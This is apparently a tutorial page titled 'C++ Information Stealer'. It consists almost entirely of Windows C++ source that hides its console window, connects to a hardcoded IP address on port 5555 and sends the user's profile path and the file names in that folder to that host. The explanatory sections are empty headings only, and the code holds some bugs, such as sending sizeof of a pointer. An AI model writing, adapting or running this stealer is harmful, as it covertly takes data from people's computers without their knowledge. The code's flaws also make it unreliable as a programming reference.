C++ Information Stealer
Code
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string>
char* userDirectory() {
char* pPath;
pPath = getenv("USERPROFILE");
if (pPath!=NULL) {
return pPath;
}
else {
perror("");
}
}
int main() {
ShowWindow(GetConsoleWindow(), SW_HIDE);
WSADATA WSAData;
SOCKET server;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
server = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_addr.s_addr = inet_addr("10.10.15.2");
addr.sin_family = AF_INET;
addr.sin_port = htons(5555);
connect(server, (SOCKADDR *)&addr, sizeof(addr));
char* pPath = userDirectory();
send(server, pPath, sizeof(pPath), 0);
send(server, "\n", 1, 0);
DIR *dir;
struct dirent *ent;
if ((dir = opendir(pPath)) != NULL) {
while ((ent = readdir(dir)) != NULL) {
send(server, ent->d_name, sizeof(ent->d_name), 0);
send(server, "\n", 1, 0);
memset(ent->d_name, 0, sizeof(ent->d_name));
}
closedir(dir);
}
else {
perror("");
}
closesocket(server);
WSACleanup();
}Compilation
Description
Explanation
Snippet 1:
Snippet 2:
Snippet 3:
Snippet 4:
Snippet 5:
Snippet 6:
Snippet 7:
Snippet 8:
Snippet 9:
Snippet 10:
Snippet 11:
Snippet 12:
Snippet 13:
Snippet 14:
Snippet 15:
Last updated